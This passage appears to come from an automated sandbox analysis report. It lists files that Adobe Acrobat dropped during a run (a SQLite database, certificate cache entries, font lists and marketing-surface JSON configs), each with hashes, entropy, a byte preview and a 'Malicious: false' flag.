File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438786241610086
Encrypted:	false
SSDEEP:	384:yeaci5G1BhFDiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmz5:11BhFjurVgazUpUTTGt
MD5:	202EA10A6F580910BCBABB5A6BE6BBD4
SHA1:	047F9306D94BD9EC5706ECB3B38205123B62524E
SHA-256:	7B8D0BA12A7A7A5D8BCA407437B00181CE1A7AC185F240963BA51760C0E6D373
SHA-512:	BD1C22E01B58931C4DECBB854B37F532A29B073F97DED1B5AF7A96203AF4AADFE767341A7833EAF7696A815C7560E6D6178C271298EECEE2D944A8AFE25EF8D0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.776506518165584
Encrypted:	false
SSDEEP:	48:7MHp/E2ioyV+Xioy3DoWoy1CABoy1/UKOioy1noy1AYoy1Wioy1hioybioyVroy2:7wpju+X0iAbYXKQKZPb9IVXEBodRBkS
MD5:	C8834C27AD82DE695B4DD0543BAEA5FA
SHA1:	DBD0969BEB67BDF55D75D9771E5619FA51044817
SHA-256:	631BA8E3492EE60EA489C36CA8168E535BF7D2C7D7CDD6717A3A21D97376AD03
SHA-512:	60ED141C4A32AB9A960F18BF07BCD60F19BE7E3E8AC275184D40384CBDC888AB9FD4FDB2124EBF23908A8BB83251A704A67374D4A1F62570FEB6EBA7854D39A4
Malicious:	false
Preview:	.... .c.......]L...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.754329157248748
Encrypted:	false
SSDEEP:	3:kkFkl1atpstfllXlE/HT8kEs7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKtMeT8uNMa8RdWBwRd
MD5:	EEAD53A3CFCD8FEBDA875F0918BFB1E8
SHA1:	0BA7748579B19CE91500DC4758AD993002A26DDF
SHA-256:	ADB544A1074C96488078AF40AB3496D1157CED457C556646E1A52403EF394BE6
SHA-512:	E439758215F95139F63825897B7A9F0D8E03620B3EA82052C31E716953C170B09BC2A7A69B150FEEA88CC26A3E8DD60E6D4C962D80D38D29C26364C17F2905B7
Malicious:	false
Preview:	p...... ............dc..(....................................................... ..........W.....E..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.119272679721939
Encrypted:	false
SSDEEP:	6:kKs+3/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:EmiDnLNkPlE99SNxAhUe/3
MD5:	F2FB73C5DC4C503916EE158CA8A4AA37
SHA1:	4D582697CCD202471A5FCEF0D23AC796193A65A9
SHA-256:	85B3BD582A364F49FC6379271097552576F13C6A2908586C552F47899929ACE1
SHA-512:	9617A2E618E78316895367CE4453C935869C202A96DC66FE46BB6607709EF81F66CC57DE5128C17C686041EDD85FD335C48EFB392AE0666931541808F8967604
Malicious:	false
Preview:	p...... .........._(dc..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4236

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4236

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.365543827829278
Encrypted:	false
SSDEEP:	6:YEQXJ2HXadvpXkp4nWsGiIPEeOF0YFuKoAvJM3g98kUwPeUkwRe9:YvXKXaRosdTeOw5GMbLUkee9
MD5:	8B2CCE41B5B4385FB76C81A6FE6C5E74
SHA1:	D5A2F7A9075D05A3DC081D7EF593DC9F3363A1F5
SHA-256:	1467B2A0C9A5C44ACC3C3E657E98A6ED7E39C589F7D80B048BAEC0CD3BECFD4A
SHA-512:	0DAD425B51ACDD03C007DD50F7AE5C1C40967D0ED2B2DA90FBE25FC3788E8B9701F0B758970CB9E3231B4AC90D059E0889B1725D31C92742F5AA0DD6DE8B44EF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ed9d2189-9527-4268-9cce-5d542eddfe0c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736695452435,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.299370463703644
Encrypted:	false
SSDEEP:	6:YEQXJ2HXadvpXkp4nWsGiIPEeOF0YFuKoAvJfBoTfXpnrPeUkwRe9:YvXKXaRosdTeOw5GWTfXcUkee9
MD5:	43CD9E013484A5B5D7C88443F87F1DCF
SHA1:	C441633D4778B51C97DD69AA5293ADA4355FAE39
SHA-256:	614C18F1B5F36D8CAFB3001535E1067879CD69BBFB264BE2F633954C07F280EE
SHA-512:	67C243C134115C8B515FB978E9A9A962A04558D5C0361737DCE2FB055AAF88AE85752B265129B19AC35A3BE24B6689A336E545ED019C3079AE39AF4ADA0598AA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ed9d2189-9527-4268-9cce-5d542eddfe0c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736695452435,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.278040526127868
Encrypted:	false
SSDEEP:	6:YEQXJ2HXadvpXkp4nWsGiIPEeOF0YFuKoAvJfBD2G6UpnrPeUkwRe9:YvXKXaRosdTeOw5GR22cUkee9
MD5:	22D66EC0D11886DF6C41200851DC0C07
SHA1:	0008FC261EE0AEF40C6DCDDA5984E73AB14327EE
SHA-256:	62363DA3A0431420894051101927DD5BC52CCA015A38D6A4F651442ABB93F422
SHA-512:	D590E1C3E7841F97D44403FE7E620968ECE0F78182CE863AF685405379CB19F7AE0D8DE4037B0F00BC8B1E8A8D2E7450F16A54C6725FF50E478FF51A4A1B5778
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ed9d2189-9527-4268-9cce-5d542eddfe0c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736695452435,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.352498637703816
Encrypted:	false
SSDEEP:	6:YEQXJ2HXadvpXkp4nWsGiIPEeOF0YFuKoAvJfPmwrPeUkwRe9:YvXKXaRosdTeOw5GH56Ukee9
MD5:	99F5B8F6501CD960F62A66D8CBA799ED
SHA1:	CF8BA33A6A3E52B4C82EFDE67C9C6F972C892694
SHA-256:	FC495289FEF3EEC509DBD1F3AB3DF9F6E802EDF3D0576983A1542D3B7ECAC69C
SHA-512:	AF28D2E9B360EC1DEE5B2C741142711F94C2CF1F5DBA6E2F4C8FE8D5F245AA53AD5CF4087CBCF591964509C29F0F61CDE7C81E500D92EFCC0CC2FE85BD04C36C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ed9d2189-9527-4268-9cce-5d542eddfe0c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736695452435,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.682234580119872
Encrypted:	false
SSDEEP:	24:Yv6XaRomeO3pLgE9cQx8LennAvzBvkn0RCmK8czOCCSPr:Yv1Rbechgy6SAFv5Ah8cv/T
MD5:	767A6031E85E1265A20D4596E848883A
SHA1:	00A5D0648BA92EE7F6605067E175BDAA42E19208
SHA-256:	07B7EB35AA492064BDD13C8D9E61B3C2BDC0431F86E9B35261BF26B6F1C61EC4
SHA-512:	9C6912B2EEAA999CD941062F30529DFA79976B5D3454CF432A3CA374FAFB746864B2EB0C50522A115EB3044308C1E570BFFF2296848970F878DDD61DC0224E45
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ed9d2189-9527-4268-9cce-5d542eddfe0c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736695452435,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.284535499096469
Encrypted:	false
SSDEEP:	6:YEQXJ2HXadvpXkp4nWsGiIPEeOF0YFuKoAvJf8dPeUkwRe9:YvXKXaRosdTeOw5GU8Ukee9
MD5:	7C1ADE0E0AA2EF9B5AE727B2168E9747
SHA1:	D964411DEBB225AB84D0BA8C09971BFA9301461D
SHA-256:	4C5B465E97BA5AACC2E34A1B2F5D88EFBC72121EEF2AF6D5646170F4A21A08DF
SHA-512:	A4A8B5F914FD2E55BA2192891E8CBCE874A8C3E0C85FAD1B22024E8E48F4455AA69D93E200010AB22007447257961193AA280A32F7C6D1D3CAD3771BC299A032
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ed9d2189-9527-4268-9cce-5d542eddfe0c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736695452435,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.287421606669993
Encrypted:	false
SSDEEP:	6:YEQXJ2HXadvpXkp4nWsGiIPEeOF0YFuKoAvJfQ1rPeUkwRe9:YvXKXaRosdTeOw5GY16Ukee9
MD5:	32718A3E97A6EE374806C52B51A36692
SHA1:	0A7DAFBD0949E065B9E8948A44021AE45B76DDD1
SHA-256:	79478D03AA2F7F9766F49CFEB60760F04E17A07F1B4BE3F3A186CFEE7F5BB0A7
SHA-512:	578BF3BF86F344A9B04A55F6250A31E0D32C4510B9463DF9CA012AA97C62BDDC0D028B6413BFFE722DAB00AF1331A495795F5BD45A4AFEB4486CAD67F21C9BBD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ed9d2189-9527-4268-9cce-5d542eddfe0c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736695452435,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.302274022025727
Encrypted:	false
